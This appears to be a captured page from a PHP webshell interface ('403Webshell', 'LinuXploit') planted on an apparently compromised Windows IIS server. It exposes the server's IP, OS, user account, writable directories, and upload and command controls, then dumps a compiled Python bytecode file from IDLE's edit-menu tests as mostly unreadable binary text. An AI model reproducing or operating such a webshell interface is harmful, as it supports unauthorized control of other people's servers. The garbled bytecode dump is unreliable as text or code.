403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/idlelib/idle_test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/idlelib/idle_test/__pycache__/test_editmenu.cpython-315.opt-1.pyc
R
>lqjQ
c��Qs]QHGs\Q2]PHs]QHGs]PHs]QHGsQQ\O2s
\Q6Xc\O]Q5P!P!)	zNTest (selected) IDLE Edit menu items.

Edit modules have their own test files
)�requires�gui)�ttk)�
fix_x11_pastec�X`�\sQs]snQs\Q2s\Q2sQsQs	Qs
QsUsP!)�	PasteTestz]Test pasting into widgets that allow pasting.

On X11, replacing selections requires tk fix.
c��[O29UmoUOO2[	U2[O
U2Um[OU2Um[OU2Um
[OU2UmUO2UOQ2P!)�two)�tk�Tk�root�withdrawr�Text�text�Entry�entryr�tentry�Spinbox�spin�clipboard_clear�clipboard_append)�clsrs& �4C:\Python315\\Lib\idlelib\idle_test\test_editmenu.py�
setUpClass�PasteTest.setUpClasss����%�%�'�!���4��������d���7�7�4�=����H�H�T�N��	��Y�Y�t�_��
��:�:�d�#����������e�$�c��U;U;U;UOO	2UOO2UOO
2U;P!)N)rrrrr�update_idletasks�destroy)rs&r�
tearDownClass�PasteTest.tearDownClasssD���H�c�i������ � �"����!�!�#��������Hrc
�V�UOoQFD�vq#UOV#Q59^tt^2UOQQ2UOQQU2UO	Q2UOUO
QQ2U2PPP2J�	P!)%fhJ�9h)z4Test pasting into text with and without a selection.)�tag�ansz1.0�end�one�	<<Paste>>))�zonetwo
)�selztwo
)r�subTest�delete�insert�event_generate�assertEqual�get)�selfrr!r"s&   r�test_paste_text�PasteTest.test_paste_text%s����y�y��:�H�C����#��/�/����E�5�)����E�5�#�.��#�#�K�0�� � ����%��!7��=�	0�/�;�/�/�/�s�AB	�B(
� B(
c��UOUO1FD�oQFD�vq#UOVUQ59^tt^2UO]Q2UO	]Q2UO]U2UO
Q2UOUO2U2PPP2J�	J�	P!)%fhJ�9h)z8Test pasting into an entry with and without a selection.r#)rr#r"r$r%�)��onetwo)r#r)	rrr(r)r*�select_ranger+r,r-)r.rr#r"s&   r�test_paste_entry�PasteTest.test_paste_entry/s����Z�Z����,�E�9����\�\��C�\�@�@��L�L��E�*��L�L��E�*��&�&�q�#�.��(�(��5��$�$�U�Y�Y�[�#�6�A�@�:�-�@�@�@�s�A(B;
�;C�Cc	�v�UOoQFD�vq#UOV#Q59^tt^2UO]Q2UO]Q2UO	Q]U2UOQ2UO
UO2U2PPP2J�	P!)%fhJ�9h)z9Test pasting into a spinbox with and without a selection.r#)r#r"r$�ranger%r2)rr(r)r*�	selectionr+r,r-)r.rr#r"s&   r�test_paste_spin�PasteTest.test_paste_spin<s����y�y��5�H�C����#��/�/����A�u�%����A�u�%����w��3�/��#�#�K�0�� � �����S�1�0�/�6�/�/�/�s�A)B'	�'B8
�0B8
�)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__�classmethodrrr/r6r;�__static_attributes__�__classdictcell__)�
__classdict__s@rrrsF������	%��	%�����>�7�
2�
2rr�__main__)�	verbosity)
rB�test.supportr�tkinterr	r�unittest�idlelib.utilr�TestCaserr>�mainr=rr�<module>rOsP���"�������&�:2��!�!�:2�z�z���M�M�A��r

Youez - 2016 - github.com/yon3zu
LinuXploit